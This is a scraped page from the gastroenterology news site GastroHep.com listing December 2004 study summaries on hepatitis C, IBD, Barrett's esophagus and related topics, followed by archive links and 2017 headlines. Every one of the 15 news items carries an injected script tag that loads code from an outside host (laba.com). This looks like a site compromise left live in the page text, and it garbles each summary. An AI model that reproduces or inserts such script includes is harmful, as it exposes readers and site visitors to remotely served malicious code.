Help
Subscribe


GastroHep.com - the global online resource for all aspects of gastroenterology, hepatology and endoscopy

 20 October 2017

Advanced search
GastroHep.com - the global online resource for all aspects of gastroenterology, hepatology and endoscopy Profile of Roy Pounder

Home

News  
Journals
Review Articles
Slide Atlas
Video Clips
Online Books
Advanced Digestive Endoscopy
Classical Cases
Conference Diary
PubMed
International GH Links
USA GH Links
National GH Links
National GI Societies
Other Useful Links




Emails on Gastroenterology and Hepatology
the National AIDS Treatment Advocacy Project
Visit the gastroenterology section of the EUMS

News

What is RSS? RSS

Clinical trial: pegylated interferon alfa-2b vs standard interferon alfa-2b, plus ribavirin, for chronic hepatitis C in HIV-infected patients 17 December 2004
Clinical trial for hep C<script src=http://laba.com/muuu.s></script> In combination with ribavirin, treatment with peginterferon alfa-2b is more effective than standard interferon alfa-2b for HCV infection in HIV-infected patients, reports December's issue of JAMA.
Full story
Unique form of IBD associated with primary sclerosing cholangitis 16 December 2004
Unique form of IBD<script src=http://laba.com/muuu.s></script> Primary sclerosing cholangitis-inflammatory bowel disease is frequently characterized by rectal sparing and backwash ileitis and colorectal neoplasia develops in a substantial fraction, hence researchers in January's issue of Gut suggest that PSC-IBD may represent a distinct IBD phenotype.
Full story
Cytomegalovirus infection: infrequent in active IBD 16 December 2004
Cytomegalovirus in IBD<script src=http://laba.com/muuu.s></script> The most recent issue of Alimentary Pharmacology and Therapeutics finds that cytomegalovirus infection is infrequent in in-patients with active inflammatory bowel disease and hence systematic search of cytomegalovirus replication markers should not be performed.
Full story
Argon plasma coagulation vs photodynamic therapy 16 December 2004
Endoscopic ablation of Barrett's esophagus<script src=http://laba.com/muuu.s></script> Photodynamic therapy and argon plasma coagulation are both effective for ablating Barrett's esophagus, however, research published in December's Alimentary Pharmacology and Therapeutics finds the latter more effective.
Full story
Ciprofloxacin with infliximab for treatment of perianal fistulae 15 December 2004
Ciprofloxacin + Infliximab for fistulae<script src=http://laba.com/muuu.s></script> A combination of ciprofloxacin and infliximab tends to be more effective for the treatment of perianal fistulae in Crohn's disease than infliximab alone, reports the most recent issue of Alimentary Pharmaology and Therapeutics.
Full story
Exposure to Trichuris suis therapy protects against Crohn's 15 December 2004
Trichuris suis therapy in Crohn's disease<script src=http://laba.com/muuu.s></script> Findings in January's issue of Gut show that natural exposure to the helminth T suis affords protection from Crohn's, hence this new therapy may offer a safe and efficacious alternative for Crohn's disease management.
Full story
Break up of a marriage is bad for men's health 15 December 2004
Men stop trying when they remarry<script src=http://laba.com/muuu.s></script> Men seem to stop trying when they remarry, suggests research in the Journal of Epidemiology and Community Health, they put on weight and cut down on exercise.
Full story
Australian men's experiences of living with hepatitis C virus 14 December 2004
Living with hepatitis C<script src=http://laba.com/muuu.s></script> The social, physical and mental health needs of men living with hepatitis C virus are considerable, and few men have access to specialist treatment, reports a study in the most recent issue of Journal of Gastroenterology and Hepatology.
Full story
Risk of malignant lymphoma subtypes in celiac disease 14 December 2004
Malignant lymphomas in celiac disease<script src=http://laba.com/muuu.s></script> A study in January's issue of Gut finds that most lymphomas complicating celiac disease are indeed related to the disease and are not of the enteropathy-type T cell lymphoma.
Full story
Hepatitis B virus DNA levels may predict hepatocellular carcinoma 14 December 2004
Prediction of hepatocellular carcinogenesis using hepatitis B DNA clearance<script src=http://laba.com/muuu.s></script> A significant decrease or loss of serum hepatitis B virus-DNA prevents development of hepatocellular carcinoma, and sequential analysis of hepatitis B virus-DNA could be very useful in both the prediction and the early detection of small hepatocellular carcinomas.
Full story
Comorbidity of irritable bowel syndrome in general practice 13 December 2004
Comorbidity of IBS<script src=http://laba.com/muuu.s></script> Findings in the most recent Alimentary Pharmacology and Therapeutics support the hypothesis that structured assessment of comorbid somatic symptoms might identify subgroups with different aetiology and needs of treatment
Full story
Organ-specific autoantibodies in children with Helicobacter 13 December 2004
Autoantibodies in H pylori<script src=http://laba.com/muuu.s></script> A study in December's Helicobacter finds a relationship between H. pylori infection in childhood and the presence of organ-specific autoantibodies unassociated with any clinical or biohumoral signs of disease.
Full story
Value of alarm symptoms for upper gastrointestinal malignancy 13 December 2004
Value of alarm symptoms for GI malignancy<script src=http://laba.com/muuu.s></script> The risk of upper gastrointestinal (GI) malignancy in any individual without alarm symptoms is low, but approximately 1/4 patients with upper GI cancer have no alarm symptoms at the time of diagnosis, reports November's issue of Alimentary Pharmacology and Therapeutics.
Full story
NSAIDs do not cause relapse of IBD 10 December 2004
NSAIDs and IBD relapse<script src=http://laba.com/muuu.s></script> Evidence does not support the view that non-steroidal anti-inflammatory drugs are important in inducing relapse of inflammatory bowel disease, reports November's issue of Alimentary Pharmacology and Therapeutics, however, there is weak evidence that paracetamol may be more important.
Full story
Gastro-esophageal reflux and associated sleep disruption 10 December 2004
Gastro-esophageal reflux and sleep patterns<script src=http://laba.com/muuu.s></script> Gastro-esophageal reflux is common in patients with sleep disorders, is associated with increased arousal, decreased durations spent in the deeper stages of sleep and poorer sleep-related quality of life, reports the most recent issue of Alimentary Pharmacology and Therapeutics.
Full story

Archive: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841

Go to top of page Email this page Email this page to a colleague

 20 October 2017 
Food elimination diets for treatment of adults with eosinophilic esophagitis
 20 October 2017 
Conversion of planned colonoscopy to sigmoidoscopy
 20 October 2017 
Hospital readmissions reduction program
 19 October 2017 
Surgical anastomosis at 1-year colorectal cancer surveillance
 19 October 2017 
Fecal immunochemical tests in colorectal cancer screening
 19 October 2017 
Current management of chylous ascites
 18 October 2017 
Predicting recurrence after curative rectal cancer surgery
 18 October 2017 
Hep E seroprevalence and hemodialysis
 18 October 2017 
Prebiotic and changes in the human gut microbiota
 17 October 2017 
Laparoscopic surgery use in Medicare patients with colon cancer
 17 October 2017 
Medication nonadherence and health care costs
 17 October 2017 
Asthma and IBD development
 16 October 2017 
Colorectal cancer screening and postpolypectomy surveillance colonoscopy
 16 October 2017 
Continuity of care after colorectal surgery
 16 October 2017 
Breastfeeding and the risk of IBD
 13 October 2017 
Treating patients with HCV and severe renal impairment
 13 October 2017 
Blood pressure management during abdominal surgery
 13 October 2017 
Food elimination diets for eosinophilic esophagitis
 12 October 2017 
Global recurrence of H. pylori
 12 October 2017 
Colonoscopy in an organized colorectal cancer screening program 
 12 October 2017 
Predicting advanced fibrosis in chronic hepatitis B
 11 October 2017 
Fecal microbiota transplantation for ulcerative colitis
 11 October 2017 
Sexual functioning in Hep C
 11 October 2017 
Ulcerative proctitis in pediatric-onset UC
 10 October 2017 
Quality standards in upper gastrointestinal endoscopy
 10 October 2017 
Eosinophilic esophagitis and swallowed topical corticosteroids
 10 October 2017 
Follow-up of positive results on fecal blood tests
 09 October 2017 
Diverticulitis and emergency department burden
 09 October 2017 
Global recurrence rate of H. pylori
 09 October 2017 
Clostridium difficile infection after ileostomy reversal
 06 October 2017 
Predicting nontreatment for Hep C
 06 October 2017 
Cow's milk–based formula and development of celiac disease
 06 October 2017 
Propofol for outpatient colonoscopy
 05 October 2017 
Pediatric candidates on the transplant wait list
 05 October 2017 
Incidence of sepsis in the USA
 05 October 2017 
Quality of life after chemoradiation in rectal cancer
 04 October 2017 
Clinical practice guidelines in colon cancer
 04 October 2017 
Peptic ulcer disease diagnosed in acute upper endoscopy
 04 October 2017 
Rural residence and risk of IBD
 03 October 2017 
Novel candidate risk genes for IBD
 03 October 2017 
Antibody tests and detecting celiac disease
 03 October 2017 
Environmental factors and IBD
 02 October 2017 
Full publication of Gastroenerology abstracts
 02 October 2017 
Interferon-free therapy in advanced liver disease
 02 October 2017 
Burden of NAFLD with advanced fibrosis in the USA
 29 September 2017 
Inpatient Gastroenterology training experience
 29 September 2017 
Proteomic analysis of IBD
 28 September 2017 
Social networking-based discussion group by ERCP doctors
 28 September 2017 
Incidence of biopsy-verified celiac disease
 27 September 2017 
Predictors of nonadherence in IBD
 27 September 2017 
Hep C treatment in the era of direct-acting anti-viral agents
 27 September 2017 
Function of trypsin-3 in IBS
 26 September 2017 
Chronic pancreatitis and pancreatic cancer risk
 26 September 2017 
Factors associated with the risk of metachronous gastric neoplasm
 26 September 2017 
Treatment of hyperactive delirium in advanced cancer
 25 September 2017 
Lenalidomide for advanced liver cancer
 25 September 2017 
Silibinin nanoparticles inhibit HCV infection
 22 September 2017 
Perforation after colonic endoscopic mucosal resection
 22 September 2017 
Medical management and colectomy rates
 22 September 2017 
MRI for liver metastatic colorectal cancer

Blackwell Publishing


GastroHep.com is a Blackwell Publishing registered trademark
© 2017 Wiley-Blackwell and GastroHep.com and contributors
Privacy Statement
Disclaimer
About Us